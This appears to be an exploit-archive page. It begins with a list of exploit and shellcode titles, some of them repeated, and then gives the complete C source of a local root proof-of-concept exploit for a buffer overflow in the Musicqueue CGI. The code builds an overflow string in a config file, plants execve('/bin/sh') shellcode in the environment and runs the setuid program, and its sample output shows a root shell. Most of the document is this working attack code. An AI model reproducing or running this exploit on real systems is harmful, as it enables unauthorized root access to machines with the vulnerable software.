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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
71 lines
No EOL
2.1 KiB
C
71 lines
No EOL
2.1 KiB
C
// source: https://www.securityfocus.com/bid/8903/info
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Multiple buffer overrun vulnerabilities have been discovered in Musicqueue. Both issues stem from the lack of bounds checking when passing user-supplied input to the sprintf() libc function. As a result, it may be possible for an attacker to exploit arbitrary code with the privileges the affected application, possibly installed suid or sgid.
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/*
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**
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** 0x82-musicqueue_over - musicqueue.cgi local root `Proof of Concept' exploit
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**
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** This is general overflow exploit.
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**
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** --
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** bash-2.04$ ./0x82-musicqueue_over /tmp/musicqueue-1.1.1/musicqueue.cgi
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**
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** 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 `Proof of Concept'
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**
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** sh-2.04# id
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** uid=0(root) gid=0(root) groups=500(x82)
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** sh-2.04#
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** --
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** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
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** My World: http://x82.i21c.net & http://x82.inetcop.org
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**
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*/
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#include <stdio.h>
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int main(int argc,char *argv[])
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{
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FILE *fp;
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int r_rn=0;
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char *ent_r[3],atck_d[0x82];
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char shellcode[]=
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"\220@\220@\220@\220@\220@\220@\220@\220@\220@"
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"\220@\220@\220@\220@\220@\220@\220@\220@\220@"
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"1\300\260F1\3331\311\315\2001\300\260G1\3331"
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"\311\315\200\353\037^\211v\b1\300\210F\007"
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"\211F\f\260\013\211\363\215N\b\215V\f\315\2001"
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"\333\211\330@\315\200\350\334\377\377\377"
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"/bin/sh";
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unsigned long sh_addr=(0xbfffffff-(strlen(shellcode)));
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memset((char *)atck_d,0,sizeof(atck_d));
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fprintf(stdout,"\n 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 POC exploit.\n\n");
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if(argc<2)
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{
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fprintf(stdout," Usage: %s [musicqueue.cgi path]\n\n",argv[0]);
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exit(-1);
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}
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else sh_addr-=(strlen(argv[1]));
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atck_d[r_rn++]=0x82;
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for(;r_rn<44;r_rn+=4)
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{
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*(long *)&atck_d[r_rn]=sh_addr;
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}
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if((fp=fopen("musicqueue.conf","w"))==NULL)
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{
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fprintf(stderr," [-] musicqueue.conf fopen() error.\n\n");
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return(-1);
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}
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fprintf(fp,"language = %s\n",atck_d);
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fclose(fp);
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ent_r[0]="REQUEST_METHOD=GET";
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ent_r[1]=(shellcode);
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ent_r[2]=(NULL);
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execle(argv[1],"musicqueue.cgi",NULL,ent_r);
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} |